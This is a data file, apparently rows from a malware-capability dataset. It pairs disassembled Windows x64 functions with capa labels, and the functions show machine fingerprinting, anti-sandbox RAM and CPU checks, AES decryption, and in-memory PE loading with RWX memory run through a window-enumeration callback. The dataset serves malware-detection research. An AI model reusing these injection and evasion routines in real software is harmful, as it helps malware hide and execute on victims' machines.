joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180004780
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0x90
mov rsi, rcx
mov dword [rbp + 0x7f], 3
xor ebx, ebx
lea rax, [rbp - 0x19]
mov rcx, 0xffffffff80000002
mov qword [rbp - 0x19], rbx
mov r9d, 0x20019
mov dword [rbp + 0x77], ebx
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftCryptography
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rbp - 0x19]
lea rax, [rbp + 0x77]
mov qword [rsp + 0x28], rax
lea r9, [rbp + 0x7f]
xor r8d, r8d
mov qword [rsp + 0x20], rbx
lea rdx, str.MachineGuid
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x180004826
lea rdx, str.Failed_to_query_registry_key
lea rcx, [0x18007ff30]
call fcn.18000b358
mov rcx, rax
call fcn.180007000
lea rdx, str.NULL
mov rcx, rsi
call fcn.180008258
jmp 0x180004952
mov edx, dword [rbp + 0x77]
lea rcx, [rbp + 0xf]
call fcn.180006fe4
lea rcx, [rbp + 0xf]
call fcn.180002ebc
lea rcx, [rbp + 0x77]
xor r8d, r8d
mov qword [rsp + 0x28], rcx
lea r9, [rbp + 0x7f]
mov rcx, qword [rbp - 0x19]
lea rdx, str.MachineGuid
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x180004894
lea rdx, str.Failed_to_query_registry_key
lea rcx, [0x18007ff30]
call fcn.18000b358
mov rcx, rax
call fcn.180007000
lea rdx, str.NULL
mov rcx, rsi
call fcn.180008258
jmp 0x180004949
mov rcx, qword [rbp - 0x19]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r8d, dword [rbp + 0x77]
lea rcx, [rbp + 0xf]
call fcn.180002ebc
mov rdx, rax
lea rcx, [rbp - 0x11]
call fcn.1800082a0
lea rdx, [rbp + 0x27]
mov byte [rbp + 0x6f], bl
lea rcx, [rbp - 0x11]
call fcn.180007fb0
lea rdx, [rbp + 0x2f]
lea rcx, [rbp - 0x11]
mov rbx, qword [rax]
call fcn.180007fb0
lea rdx, [rbp + 0x37]
mov rdi, rax
lea rcx, [rbp - 0x11]
call fcn.180008044
mov r8, qword [rdi]
lea r9, [rbp + 0x6f]
lea rcx, [rbp + 0x3f]
mov rdx, qword [rax]
call fcn.18000b55c
mov r9, rbx
lea rdx, [rbp + 0x6f]
lea rcx, [rbp - 0x11]
mov r8, qword [rax]
call fcn.180008094
lea rdx, str.Device_ID:
lea rcx, [0x18007ff30]
call fcn.18000b358
mov rcx, rax
lea rdx, [rbp - 0x11]
call fcn.18000b5f4
mov rcx, rax
call fcn.180007000
lea rdx, [rbp - 0x11]
mov rcx, rsi
call fcn.180008218
lea rcx, [rbp - 0x11]
call fcn.1800081d0
lea rcx, [rbp + 0xf]
call fcn.180006fdc
mov rbx, qword [rsp + 0xb0]
mov rax, rsi
add rsp, 0x90
pop rdi
pop rsi
pop rbp
ret
Function at 0x180004fdc
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x750]
sub rsp, 0x850
and qword [rbp + 0x778], 0
mov rdi, rcx
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x800
call fcn.18003a090
lea r8, [rbp + 0x778]
mov dword [rbp + 0x770], 0x400
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rcx, qword [rbp + 0x778]
lea rax, [rbp + 0x770]
mov qword [rsp + 0x28], rax
lea rdx, str.ProductName
lea rax, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.180007d58
lea rdx, [rbp + 0x780]
lea rcx, [rsp + 0x30]
call fcn.180007b9c
lea rdx, [rbp + 0x788]
mov rbx, rax
lea rcx, [rsp + 0x30]
call fcn.180007bf0
mov r8, qword [rbx]
mov rcx, rdi
mov rdx, qword [rax]
call fcn.18000b954
lea rcx, [rsp + 0x30]
call fcn.180007cd0
mov rax, rdi
add rsp, 0x850
pop rdi
pop rbx
pop rbp
ret

Function at 0x1800050bc
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x140
mov rdi, rcx
mov ebx, 0x100
mov r8d, ebx
lea rcx, [rsp + 0x40]
xor edx, edx
call fcn.18003a090
mov r8d, ebx
lea rdx, [rsp + 0x40]
lea rcx, str.USERDNSDOMAIN
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.180007d58
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x20]
call fcn.180007b9c
lea rdx, [rsp + 0x158]
mov rbx, rax
lea rcx, [rsp + 0x20]
call fcn.180007bf0
mov r8, qword [rbx]
mov rcx, rdi
mov rdx, qword [rax]
call fcn.18000b954
lea rcx, [rsp + 0x20]
call fcn.180007cd0
mov rbx, qword [rsp + 0x160]
mov rax, rdi
add rsp, 0x140
pop rdi
ret

Function at 0x180005158
Capabilities:
Get hostname

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xa0
mov rdi, rcx
mov dword [rbp + 0x6f], 0x10
lea rcx, [rbp - 0x19]
lea rdx, [0x1800741a6]
call fcn.180008258
lea r8, [rbp + 0x6f]
xor ecx, ecx
lea rdx, [rbp + 0x27]
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
je 0x1800051ef
lea rdx, [rbp + 0x27]
lea rcx, [rbp - 0x39]
call fcn.180007d58
lea rdx, [rbp + 0x77]
lea rcx, [rbp - 0x39]
call fcn.180007b9c
lea rdx, [rbp + 0x7f]
mov rbx, rax
lea rcx, [rbp - 0x39]
call fcn.180007bf0
mov r8, qword [rbx]
lea rcx, [rbp + 7]
mov rdx, qword [rax]
call fcn.18000b954
lea rdx, [rbp + 7]
mov rcx, rdi
call fcn.180008218
lea rcx, [rbp + 7]
call fcn.1800081d0
lea rcx, [rbp - 0x39]
call fcn.180007cd0
jmp 0x1800051fb
lea rdx, [rbp - 0x19]
mov rcx, rdi
call fcn.180008218
lea rcx, [rbp - 0x19]
call fcn.1800081d0
mov rax, rdi
add rsp, 0xa0
pop rdi
pop rbx
pop rbp
ret
Function at 0x18000667c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov rdi, r8
mov rbp, rdx
mov rsi, rcx
test r8, r8
jg 0x1800066a3
xor eax, eax
jmp 0x180006784
cmp qword [rcx + 0x68], 0
je 0x1800066b4
call fcn.180006dc0
jmp 0x180006784
mov rbx, rdi
mov qword [rsp + 0x50], rbx
call fcn.180008b64
mov qword [rsp + 0x58], rax
test rax, rax
je 0x18000670a
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x50]
call fcn.180006798
mov rcx, rsi
mov rbx, qword [rax]
call fcn.180008be4
mov rdx, rax
mov r8, rbx
mov rcx, rbp
call fcn.18000981c
sub qword [rsp + 0x50], rbx
mov edx, ebx
mov rcx, rsi
add rbp, rbx
call fcn.180008bb8
mov rbx, qword [rsp + 0x50]
cmp qword [rsi + 0x80], 0
je 0x18000677e
mov rcx, rsi
call fcn.1800088d8
mov rbx, qword [rsp + 0x50]
mov r14d, 0xfff
jmp 0x180006755
mov r9, qword [rsi + 0x80]
mov r8, r14
mov edx, 1
mov rcx, rbp
call fcn.1800446cc
mov rbx, qword [rsp + 0x50]
add rbp, rax
sub rbx, rax
mov qword [rsp + 0x50], rbx
cmp rax, r14
jne 0x18000677e
cmp rbx, r14
ja 0x180006729
test rbx, rbx
je 0x18000677e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, rbp
call fcn.1800446cc
mov rbx, qword [rsp + 0x50]
sub rbx, rax
sub rdi, rbx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret

Function at 0x1800098a8
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rcx + 4], edx
lea r9, [rcx + 8]
mov r8d, 1
mov r10d, 0x270
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, r8d
inc r8
mov dword [r9], edx
lea r9, [r9 + 4]
cmp r8, r10
jb 0x1800098bb
mov dword [rcx], r10d
ret

Function at 0x18000e450
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov rcx, qword [rcx]
jmp 0x18000e470
push rbx
sub rsp, 0x20
cmp dword [rcx], 0x270
mov rbx, rcx
jne 0x18000e488
call fcn.18000e4d4
jmp 0x18000e495
cmp dword [rcx], 0x4e0
jb 0x18000e495
call fcn.18000e518
mov eax, dword [rbx]
mov edx, dword [rbx + rax*4 + 4]
inc eax
mov dword [rbx], eax
mov ecx, edx
mov eax, dword [rbx + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 0x20
pop rbx
ret

Function at 0x18000e470
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov rcx, qword [rcx]
jmp 0x18000e470
push rbx
sub rsp, 0x20
cmp dword [rcx], 0x270
mov rbx, rcx
jne 0x18000e488
call fcn.18000e4d4
jmp 0x18000e495
cmp dword [rcx], 0x4e0
jb 0x18000e495
call fcn.18000e518
mov eax, dword [rbx]
mov edx, dword [rbx + rax*4 + 4]
inc eax
mov dword [rbx], eax
mov ecx, edx
mov eax, dword [rbx + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 0x20
pop rbx
ret
Function at 0x18000e4d4
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
lea r8, [rcx + 8]
mov r9d, 0x270
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x18000e4de
ret

Function at 0x18000e518
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
lea r10, [rcx + 0x9c4]
mov r9, rcx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, eax
lea r10, [r10 + 4]
xor edx, r11d
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x630]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x18000e52f
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, eax
lea r10, [r10 + 4]
xor edx, r11d
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd50]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x18000e57a
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
and dword [r9], ebx
mov rbx, qword [rsp + 8]
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
shr edx, 1
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
ret
Function at 0x18000ebf0
Capabilities:
Accept command line arguments

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x40
and dword [rax - 0x20], 0
or r9d, 0xffffffff
mov r8, qword [0x180081bd0]
xor edx, edx
and qword [rax - 0x28], 0
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov edx, 2
mov ebx, eax
lea ecx, [rax + 1]
movsxd rcx, ecx
call fcn.18003efd0
mov r8, qword [0x180081bd0]
or r9d, 0xffffffff
xor edx, edx
mov dword [rsp + 0x28], ebx
mov ecx, 0xfde9
mov qword [0x180081bc8], rax
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rcx, qword [0x180081bc8]
lea rdx, [0x180081bd8]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ecx, dword [0x180081bd8]
xor esi, esi
mov qword [0x180081bc0], rax
lea ebx, [rcx*8]
test ecx, ecx
jle 0x18000ecd4
xor edi, edi
and qword [rsp + 0x38], 0
or r9d, 0xffffffff
and qword [rsp + 0x30], 0
xor edx, edx
and dword [rsp + 0x28], 0
mov ecx, 0xfde9
mov r8, qword [rdi + rax]
and qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
inc esi
lea rdi, [rdi + 8]
add ebx, eax
cmp esi, dword [0x180081bd8]
jge 0x18000ecd4
mov rax, qword [0x180081bc0]
jmp 0x18000ec8f
movsxd rdx, ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
movsxd rdx, dword [0x180081bd8]
xor ebp, ebp
mov qword [0x180081bb0], rax
lea ecx, [rdx*8]
sub ebx, ecx
lea rsi, [rax + rdx*8]
test edx, edx
jle 0x18000ed54
xor edi, edi
and qword [rsp + 0x38], 0
or r9d, 0xffffffff
mov r8, qword [0x180081bc0]
xor edx, edx
and qword [rsp + 0x30], 0
mov ecx, 0xfde9
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rsi
mov r8, qword [rdi + r8]
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, qword [0x180081bb0]
inc ebp
sub ebx, eax
mov qword [rdi + rcx], rsi
lea rdi, [rdi + 8]
movsxd rcx, eax
add rsi, rcx
cmp ebp, dword [0x180081bd8]
jl 0x18000ed02
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov dword [0x180081bb8], 1
add rsp, 0x40
pop rdi
ret

Function at 0x18000ed74
Capabilities:
Parse pe header

Disassembly:
xor edx, edx
test rcx, rcx
je 0x18000eda0
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x18000eda0
cmp dword [rcx + 0x3c], 0x400
jg 0x18000eda0
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
cmovne rax, rdx
ret
xor eax, eax
ret
Function at 0x18000f0b8
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, rcx
call fcn.18000ebf0
mov rcx, r14
call fcn.18000ed74
xor esi, esi
mov rdi, rax
test rax, rax
je 0x18000f1e0
lea edx, [rsi + 5]
call fcn.18000eda4
mov rbx, qword [rdi + 0x30]
lea rcx, str.ntdll.dll
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtUnmapViewOfSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rdi + 0x30]
or rcx, 0xffffffffffffffff
call rax
mov edx, dword [rdi + 0x50]
lea r9d, [rsi + 0x40]
mov r8d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x18000f169
test rbp, rbp
je 0x18000f1e0
mov edx, dword [rdi + 0x50]
lea r9d, [rsi + 0x40]
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x18000f1e0
mov r8d, dword [rdi + 0x54]
mov rdx, r14
mov rcx, rbx
mov qword [rdi + 0x30], rbx
call fcn.180039840
cmp si, word [rdi + 6]
jae 0x18000f1ac
lea rbp, [rdi + 0x11c]
mov edx, dword [rbp]
mov ecx, dword [rbp - 8]
add rdx, r14
mov r8d, dword [rbp - 4]
add rcx, rbx
call fcn.180039840
movzx eax, word [rdi + 6]
lea rbp, [rbp + 0x28]
inc esi
cmp esi, eax
jl 0x18000f189
mov rcx, rbx
call fcn.18000edd8
mov edx, dword [rdi + 0x28]
xor r8d, r8d
add rdx, rbx
xor ecx, ecx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.USER32.dll_EnumThreadWindows]
xor ecx, ecx
call fcn.180045164
int3

Function at 0x18000ff84
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
mov rax, rsp
sub rsp, 0xd8
movaps xmmword [rax - 0x18], xmm6
mov dword [rax - 0x58], 0x40
lea rcx, [rax - 0x58]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rcx, qword [rsp + 0x88]
xorps xmm6, xmm6
test rcx, rcx
js 0x18000ffba
cvtsi2sd xmm6, rcx
jmp 0x18000ffcf
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm6, rax
addsd xmm6, xmm6
call fcn.18001055c
divsd xmm6, xmm0
movsd xmm0, qword [0x1800754a8]
lea rcx, [rsp + 0x20]
comisd xmm0, xmm6
jb 0x180010005
lea rdx, str._AntiDebug___specs_check_____ERROR_:_Invalid_RAM_Amount
call fcn.180008258
lea rcx, [rsp + 0x20]
call fcn.1800081d0
xor al, al
jmp 0x180010065
lea rdx, str._AntiDebug___specs_check____Ram_check_passed_
call fcn.180008258
lea rcx, [rsp + 0x20]
call fcn.1800081d0
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, [rsp + 0x20]
cmp dword [rsp + 0x68], 1
ja 0x18001004c
lea rdx, str._AntiDebug___specs_check_____ERROR_:_Invalid_CPU_Count
call fcn.180008258
lea rcx, [rsp + 0x20]
call fcn.1800081d0
xor al, al
jmp 0x180010065
lea rdx, str._AntiDebug___specs_check____CPU_check_passed_
call fcn.180008258
lea rcx, [rsp + 0x20]
call fcn.1800081d0
nop
mov al, 1
movaps xmm6, xmmword [rsp + 0xc0]
add rsp, 0xd8
ret
Function at 0x180010be0
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov dword [rax + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, r9d
mov dword [rax - 0x38], 0xf0000000
mov rdi, r8
mov rsi, rcx
mov r9d, 0x18
lea rcx, [rbp - 0x20]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x180010ccf
mov rcx, qword [rbp - 0x20]
lea rax, [rbp - 0x18]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x180010ccf
mov rcx, qword [rbp - 0x18]
xor r9d, r9d
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x180010ccf
mov r8, qword [rbp - 0x18]
lea rax, [rbp - 0x10]
mov rcx, qword [rbp - 0x20]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x180010ccf
mov rcx, qword [rbp - 0x10]
lea rax, [rbp + 0x18]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x180010ccf
mov rcx, qword [rbp - 0x20]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov al, 1
jmp 0x180010cd1
xor al, al
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop rbp
ret
Function at 0x180010e58
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
mov eax, dword [0x180075480]
mov edi, 0x400
movsd xmm0, qword [str.Environment]
mov rbx, rcx
mov dword [rbp + 0xf], eax
mov eax, dword [0x180075498]
mov dword [rbp + 0x27], eax
movzx eax, word [0x18007549c]
movsd qword [rbp + 7], xmm0
movups xmm0, xmmword [str.UserInitMprLogonScript]
mov word [rbp + 0x2b], ax
mov al, byte [0x18007549e]
mov byte [rbp + 0x2d], al
movups xmmword [rbp + 0x17], xmm0
mov dword [rbp + 0x6f], edi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
jne 0x180010ee6
xor edx, edx
mov rcx, rbx
call fcn.180008258
jmp 0x180010fb9
lea rax, [rbp + 0x6f]
mov r9d, 2
mov qword [rsp + 0x30], rax
lea r8, [rbp + 0x17]
mov qword [rsp + 0x28], rdi
lea rdx, [rbp + 7]
and qword [rsp + 0x20], 0
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
je 0x180010f2f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x180010ed7
xor ecx, ecx
cmp byte [rdi], cl
je 0x180010f42
mov rax, rdi
inc rax
inc ecx
cmp byte [rax], 0
jne 0x180010f38
movsxd r8, ecx
mov rdx, rdi
add r8, rdi
lea rcx, [rbp + 0x2f]
call fcn.18000d860
xor r8d, r8d
lea rdx, [0x1800754a0]
lea rcx, [rbp + 0x2f]
call fcn.180007e84
xor r8d, r8d
lea rdx, str..dll
lea rcx, [rbp + 0x2f]
mov rdi, rax
call fcn.180007e84
cmp rdi, 0xffffffffffffffff
je 0x180010fa1
cmp rax, 0xffffffffffffffff
je 0x180010fa1
sub rax, rdi
lea rcx, [rbp + 0x2f]
mov r8, rdi
mov rdx, rbx
lea r9, [rax + 4]
call fcn.180007e64
jmp 0x180010fb0
lea rdx, [0x1800741a6]
mov rcx, rbx
call fcn.180008258
lea rcx, [rbp + 0x2f]
call fcn.1800081d0
lea r11, [rsp + 0x90]
mov rax, rbx
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x18002e01c
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x180019afe
movzx eax, byte [rdx + rcx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x180019ae1
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x180019acc
Function at 0x1800435a0
Capabilities:
Encode data using xor

Disassembly:
mov rax, rcx
neg rcx
test rax, 7
je 0x1800435bd
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x180043618
test al, 7
jne 0x1800435b0
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x1800435d1
mov rdx, qword [rax - 8]
test dl, dl
je 0x180043642
test dh, dh
je 0x18004363c
shr rdx, 0x10
test dl, dl
je 0x180043636
test dh, dh
je 0x180043630
shr rdx, 0x10
test dl, dl
je 0x18004362a
test dh, dh
je 0x180043624
shr edx, 0x10
test dl, dl
je 0x18004361e
test dh, dh
jne 0x1800435d1
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret

Function at 0x180045164
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x180045017
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x180045017
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x180045017
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x180045017
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x180045017
cmp dword [rcx + 0x84], 0xe
jbe 0x180045017
cmp dword [rcx + 0xf8], 0
je 0x180045017
mov ecx, ebx
call fcn.1800450c8
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.180044ea4
nop
cmp dword [rbp + 0x20], 0
je 0x180045065
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.180045070
int3
xor r8d, r8d
xor edx, edx
jmp 0x180044fa8

Function at 0x18004f5e0
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x18004f5f6
mov al, 1
jmp 0x18004f656
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x18004f607
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x18004f654
mov ecx, dword [rcx + 0x18]
nop
call fcn.18005b9c4
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18004f654
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x18004f654
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x18004f654
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x18004f656
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x180055680
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.180039180
sub rsp, rax
mov rax, qword [0x18007e090]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.18004f4c0
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x1800556cf
mov rax, rbp
jmp 0x1800557d7
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x81400]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.1800565e8
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0x81400]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x1800557d3
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
